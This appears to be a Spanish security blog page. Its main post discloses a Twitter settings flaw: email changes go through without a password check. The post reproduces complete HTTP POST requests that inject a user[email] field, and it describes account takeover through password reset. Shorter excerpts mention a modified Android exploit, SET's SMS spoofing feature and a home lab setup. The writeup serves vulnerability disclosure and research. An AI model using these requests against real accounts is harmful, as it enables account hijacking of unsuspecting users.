    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/design
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------217306245668628822413166446
    Content-Length: 2036
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_default]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="tab"
    
    none
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="profile_theme"
    3
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_use_background_image]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_image_url]"
    
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_tile]"
    
    0
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_color]"
    
    #EDECE9
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_text_color]"
    
    #634047
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_link_color]"
    
    #088253
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_fill_color]"
    
    #E3E2DE
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_border_color]"
    
    #D3D2CF
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="commit"
    
    save changes
    -----------------------------217306245668628822413166446--
    

De la cuatro opciones anteriores «Account» es la única que solicita al usuario su contraseña para poder llevar a cabo su actualización:

Esto tiene sentido, ya que desde la opción «Account» el usuario puede actualizar información sensible, como su dirección de correo electrónico, pieza clave para llevar a cabo la recuperación de contraseña.

Sin embargo, desde las otras tres opciones («Notices», «Profile» y «Design») es posible actualizar información sensible del modelo User, como la dirección de correo electrónico, sin tener que escribir la contraseña para confirmar la identidad del usuario. A continuación, las peticiones que permitirían la actualización de correo electrónico (sin confirmar la contraseña):

  • Notices
  • POST /settings/notifications/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/notifications
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 249
    
    authenticity_token=&user%5Bsend_new_friend_email%5D=1&user%5Bsend_new_friend_email%5D=0&user%5Bsend_new_direct_text_email%5D=0&user%5Bsend_email_newsletter%5D=0&user%5Bemail%5D=juan.vazquez.test@gmail.com&commit=Save
    
  • Profile
  • POST /settings/profile HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/profile
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------9717853222661105081714554876
    Content-Length: 1264
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="_method"
    
    put
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="profile_image[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[name]"
    
    test
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[location]"
    
    barcelona
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[url]"
    
    http://
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[email]"
    
    juan.vazquez.test@gmail.com
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[description]"
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="commit"
    
    Save
    -----------------------------9717853222661105081714554876--
    
  • Design
  • POST /settings/design/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/design
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------217306245668628822413166446
    Content-Length: 2036
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_default]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="tab"
    
    none
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="profile_theme"
    
    3
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_use_background_image]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_image_url]"
    
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_tile]"
    
    0
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_color]"
    
    #EDECE9
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_text_color]"
    
    #634047
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_link_color]"
    
    #088253
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_fill_color]"
    
    #E3E2DE
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_border_color]"
    
    #D3D2CF
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[email]"
    
    juan.vazquez.test@gmail.com
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="commit"
    
    save changes
    -----------------------------217306245668628822413166446--
    

Después de lanzar cualquiera de las peticiones anteriores se podría confirmar el cambio desde la nueva cuenta de correo electrónico (que pertenecería al secuestrador :)):

Algunos escenarios en los que se podría haber utilizado el bug para secuestrar totalmente una cuenta de twitter (mediante la funcionalidad de restauración de contraseña):

  • Sistemas de uso compartido.
  • Escenarios de sniffing de red. Sobretodo con la publicación de firesheep :).
  • Usado conjuntamente con otras vulnerabilidades, por ejemplo, de Cross Site Scripting

¿A alguien se le ocurren otros escenarios de ataque?

Explotación en Android y SET

En relación con la presentación de SMS Spoofing, nos ha llegado alguna petición sobre el material relacionado con la demo explotación de Android.

Lo primero, comentar que todo lo utilizado para la demo de explotación de Android está basado en el trabajo de Javier Moreno y Eloi Sanfélix, presentado en la Rooted CON 2010,  Seguridad y explotación nativa en Android. Los autores publicaron material sobre la presentación en sus respectivos blogs:

Para información sobre explotación nativa en Android os referenciamos pues, a dicho material :).

Sin embargo, ponemos a vuestra disposición el siguiente material, que utilizamos durante la presentación de SMS Spoofing:

android_stack_tb.rb: El exploit original de Eloi Sanfelix y Javier Moreno, con la
«Ret» modificada para obtener el control con el desbordamiento en nuestro entorno Android 1.6 (API level 4).

Leer el resto de esta página »

Setting up your home LAB (parte II)

Instala el sistema

Descargamos el sistema operativo a instalar desde http://www.ubuntu.com/server/get-ubuntu/download. En esta ocasión se instalará Ubuntu Server 10.04 LTS a modo de ejemplo.

Se graba la ISO de un CD-ROM y se procede a la instalación.

  1. Realizar una instalación estándar (al gusto) hasta el momento del particionado del disco
  2. En este paso, seleccionar la opción de realizar un particionado manual, para poder realizar la instalación en RAID0.
  3. Crear tablas de particiones en los dos discos duros, y seleccionar la opción «Configurar RAID por software»
  4. Leer el resto de esta página »

Uso de SMS Spoofing desde SET

Aprovechando la publicación de los vídeos de la NcN, para aquellos que estén interesados, comentamos que durante la charla se realizó una demostración del uso de la funcionalidad de “SMS Spoofing” que se ha añadido a la versión 1.0 de Social Engineering Toolkit (SET). Por cierto, aprovechamos tambén para agradecer a Dave Keneddy la «acogida» de la aportación al framework de SET. Ha sido un auténtico placer poder colaborar con este proyecto.

En este post nos gustaría acabar de repasar las diferentes opciones disponibles des de la funcionalidad de “SMS Spoofing”.
Tras ejecutar SET, se puede acceder a las opciones de “SMS Spoofing” desde el menú principal, con la opción “7”:

Leer el resto de esta página »